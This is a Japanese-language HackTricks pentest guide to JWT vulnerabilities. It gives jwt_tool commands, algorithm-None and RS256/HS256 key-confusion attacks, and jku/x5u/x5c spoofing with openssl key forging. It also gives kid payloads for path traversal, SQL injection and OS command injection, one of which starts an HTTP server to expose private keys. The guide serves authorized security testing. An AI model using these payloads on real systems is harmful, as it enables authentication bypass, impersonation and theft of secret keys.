JWTの脆弱性 (Json Web Tokens)

Reading time: 23 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

この記事の一部は素晴らしい投稿に基づいています: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTをペンテストするための素晴らしいツールの作者 https://github.com/ticarpi/jwt_tool

クイックウィン

jwt_toolAll Tests!モードで実行し、緑の行を待ちます

bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

運が良ければ、ツールはウェブアプリケーションがJWTを不正にチェックしているケースを見つけるでしょう:

その後、プロキシでリクエストを検索するか、jwt_ toolを使用してそのリクエストに使用されたJWTをダンプできます:

bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteurを使用して、BurpからJWT攻撃を開始できます。

何も変更せずにデータを改ざんする

署名をそのままにしてデータを改ざんし、サーバーが署名を確認しているかどうかをチェックできます。例えば、ユーザー名を「admin」に変更してみてください。

トークンは確認されていますか?

JWTの署名が検証されているかどうかを確認するには:

  • エラーメッセージは継続的な検証を示唆します。詳細なエラーに含まれる機密情報は確認する必要があります。
  • 返されたページの変更も検証を示します。
  • 変更がない場合は検証が行われていないことを示します。この場合、ペイロードの主張を改ざんする実験を行うべきです。

起源

トークンがサーバー側で生成されたのか、クライアント側で生成されたのかを、プロキシのリクエスト履歴を調べて判断することが重要です。

  • クライアント側から最初に見られたトークンは、キーがクライアント側のコードに露出している可能性があるため、さらなる調査が必要です。
  • サーバー側から発生したトークンは、安全なプロセスを示します。

期間

トークンが24時間以上持続するかどうかを確認してください...もしかしたら決して期限切れにならないかもしれません。「exp」フィールドがある場合、サーバーがそれを正しく処理しているか確認してください。

HMAC秘密鍵のブルートフォース

このページを参照してください。

アルゴリズムをNoneに変更する

使用するアルゴリズムを「None」に設定し、署名部分を削除します。

Burp拡張機能「JSON Web Token」を使用して、この脆弱性を試し、JWT内の異なる値を変更します(リクエストをリピーターに送信し、「JSON Web Token」タブでトークンの値を変更できます。「Alg」フィールドの値を「None」に設定することもできます)。

アルゴリズムRS256(非対称)をHS256(対称)に変更する(CVE-2016-5431/CVE-2016-10555)

アルゴリズムHS256は、秘密鍵を使用して各メッセージに署名し、検証します。
アルゴリズムRS256は、プライベートキーを使用してメッセージに署名し、公開鍵を認証に使用します。

アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。

次に、公開鍵を使用し、RS256をHS256に変更することで、有効な署名を作成できます。これを実行して、ウェブサーバーの証明書を取得できます。

bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

ヘッダー内の新しい公開鍵

攻撃者はトークンのヘッダーに新しい鍵を埋め込み、サーバーはこの新しい鍵を使用して署名を検証します (CVE-2018-0114)。

これは「JSON Web Tokens」Burp拡張機能を使用して行うことができます。
(リクエストをリピーターに送信し、JSON Web Tokenタブ内で「CVE-2018-0114」を選択してリクエストを送信します)。

JWKS スプーフィング

この手順は、特に「jku」ヘッダー主張を使用するJWTトークンのセキュリティを評価する方法を詳述しています。この主張は、トークンの検証に必要な公開鍵を含むJWKS(JSON Web Key Set)ファイルへのリンクであるべきです。

  • 「jku」ヘッダーを持つトークンの評価:

  • 「jku」主張のURLを確認して、適切なJWKSファイルにリンクしていることを確認します。

  • トークンの「jku」値を変更して、制御されたWebサービスに向け、トラフィックを観察できるようにします。

  • HTTPインタラクションの監視:

  • 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクから鍵を取得しようとしていることがわかります。

  • このプロセスでjwt_toolを使用する際は、テストを容易にするために、jwtconf.iniファイルを個人のJWKSの場所で更新することが重要です。

  • jwt_toolのコマンド:

  • jwt_toolを使用してシナリオをシミュレートするために、次のコマンドを実行します:

bash
python3 jwt_tool.py JWT_HERE -X s

Kidの問題の概要

オプションのヘッダー主張であるkidは、特定の鍵を識別するために使用され、トークン署名検証のために複数の鍵が存在する環境では特に重要です。この主張は、トークンの署名を検証するために適切な鍵を選択するのに役立ちます。

「kid」を通じて鍵を明らかにする

ヘッダーにkid主張が存在する場合、対応するファイルまたはそのバリエーションをウェブディレクトリで検索することが推奨されます。たとえば、"kid":"key/12345"が指定されている場合、ファイル_/key/12345_および_/key/12345.pem_をウェブルートで検索する必要があります。

「kid」を使用したパス横断

kid主張は、ファイルシステムをナビゲートするために悪用される可能性があり、任意のファイルを選択できる可能性があります。特定のファイルやサービスをターゲットにするためにkid値を変更することで、接続性をテストしたり、サーバーサイドリクエストフォージェリ(SSRF)攻撃を実行したりすることが可能です。元の署名を保持しながらkid値を変更するためにJWTを改ざんすることは、以下のように-Tフラグを使用して達成できます。

bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

ファイルの予測可能な内容をターゲットにすることで、有効なJWTを偽造することが可能です。例えば、Linuxシステムの/proc/sys/kernel/randomize_va_spaceファイルは、値2を含むことで知られており、JWT生成の対称パスワードとして2kidパラメータに使用できます。

"kid"を介したSQLインジェクション

kidクレームの内容がデータベースからパスワードを取得するために使用される場合、kidペイロードを変更することでSQLインジェクションが可能になります。JWT署名プロセスを変更するためにSQLインジェクションを使用する例のペイロードは次のとおりです:

non-existent-index' UNION SELECT 'ATTACKER';-- -

この変更により、JWT署名に既知の秘密鍵ATTACKERが使用されることになります。

"kid"を介したOSインジェクション

kidパラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定するシナリオは、リモートコード実行(RCE)脆弱性につながる可能性があります。kidパラメータにコマンドを注入することで、プライベートキーを露出させることが可能です。RCEとキー露出を達成するための例のペイロードは次のとおりです:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5uとjku

jku

jkuはJWK Set URLを表します。
トークンが“jkuヘッダークレームを使用している場合は、提供されたURLを確認してください。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指す必要があります。トークンを改ざんして、jku値を監視できるウェブサービスにポイントさせます。

まず、新しいプライベートおよび公開鍵を持つ新しい証明書を作成する必要があります。

bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

次に、例えば jwt.io を使用して、作成した公開鍵と秘密鍵を使用し、パラメータ jku を作成した証明書にポイントします。 有効な jku 証明書を作成するには、元の証明書をダウンロードし、必要なパラメータを変更できます。

公開証明書から "e" と "n" のパラメータを取得するには、次のようにします:

bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL。PEM形式でエンコードされた一連のX.509(証明書フォーマット標準)公開証明書を指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。次の証明書はそれぞれ前の証明書に署名し、証明書チェーンを完成させます。X.509はRFC 52807で定義されています。証明書を転送するには、トランスポートセキュリティが必要です。

このヘッダーをあなたの管理下にあるURLに変更し、リクエストが受信されるか確認してください。その場合、JWTを改ざんすることができるかもしれません。

あなたが管理する証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります:

bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

次に、例えば jwt.io を使用して、作成した公開鍵と秘密鍵を使用し、パラメータ x5u を作成した .crt 証明書にポイントする新しい JWT を作成できます。

これらの脆弱性の両方をSSRFに悪用することもできます。

x5c

このパラメータにはbase64形式の証明書が含まれる場合があります:

攻撃者が自己署名証明書を生成し、対応する秘密鍵を使用して偽造トークンを作成し、「x5c」パラメータの値を新しく生成された証明書に置き換え、他のパラメータ、つまり n、e、x5t を修正すると、実質的に偽造トークンはサーバーによって受け入れられます。

bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

埋め込まれた公開鍵 (CVE-2018-0114)

JWTに次のシナリオのように埋め込まれた公開鍵がある場合:

次のnodejsスクリプトを使用すると、そのデータから公開鍵を生成することができます:

bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

新しいプライベート/パブリックキーを生成し、新しいパブリックキーをトークン内に埋め込み、それを使用して新しい署名を生成することが可能です:

bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

このnodejsスクリプトを使用して「n」と「e」を取得できます:

bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

最終的に、公開鍵と秘密鍵、そして新しい「n」と「e」値を使用して、jwt.ioを使って任意の情報を持つ新しい有効なJWTを作成できます。

ES256: 同じノンスで秘密鍵を明らかにする

いくつかのアプリケーションがES256を使用し、同じノンスを使用して2つのJWTを生成する場合、秘密鍵を復元できます。

以下は例です: ECDSA: 同じノンスを使用した場合の秘密鍵の明らかにする (SECP256k1使用)

JTI (JWT ID)

JTI (JWT ID)クレームは、JWTトークンの一意の識別子を提供します。これは、トークンの再生を防ぐために使用できます。
しかし、IDの最大長が4(0001-9999)である状況を想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDをインクリメントしている場合、これを悪用してリクエストを再生することができます(各成功した再生の間に10000リクエストを送信する必要があります)。

JWT登録クレーム

JSON Web Token (JWT)

その他の攻撃

クロスサービスリレー攻撃

いくつかのウェブアプリケーションがトークンの生成と管理のために信頼されたJWTサービスに依存していることが観察されています。JWTサービスによって1つのクライアントのために生成されたトークンが、同じJWTサービスの別のクライアントによって受け入れられた事例が記録されています。サードパーティサービスを介してJWTの発行または更新が観察された場合、同じユーザー名/メールを使用してそのサービスの別のクライアントにアカウントを登録する可能性を調査する必要があります。その後、取得したトークンをターゲットへのリクエストで再生して受け入れられるかどうかを確認する試みを行うべきです。

  • あなたのトークンが受け入れられることは重大な問題を示す可能性があり、任意のユーザーアカウントの偽装を許可する可能性があります。ただし、サードパーティアプリケーションにサインアップする場合、より広範なテストの許可が必要になる可能性があるため、これは法的なグレーゾーンに入る可能性があります。

トークンの有効期限チェック

トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャして再生することで、そのユーザーのなりすましが可能になることがあります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWT再生攻撃を軽減することを推奨しています。さらに、アプリケーションによる関連チェックの実装が重要であり、この値の処理と期限切れトークンの拒否を確実に行う必要があります。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、トークンを保存し、有効期限が切れた後に再生することが推奨されます。トークンの内容、タイムスタンプの解析および有効期限のチェック(UTCのタイムスタンプを含む)は、jwt_toolの-Rフラグを使用して読み取ることができます。

  • アプリケーションがトークンをまだ検証している場合、セキュリティリスクが存在する可能性があります。これは、トークンが決して期限切れにならないことを示唆する可能性があります。

ツール

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする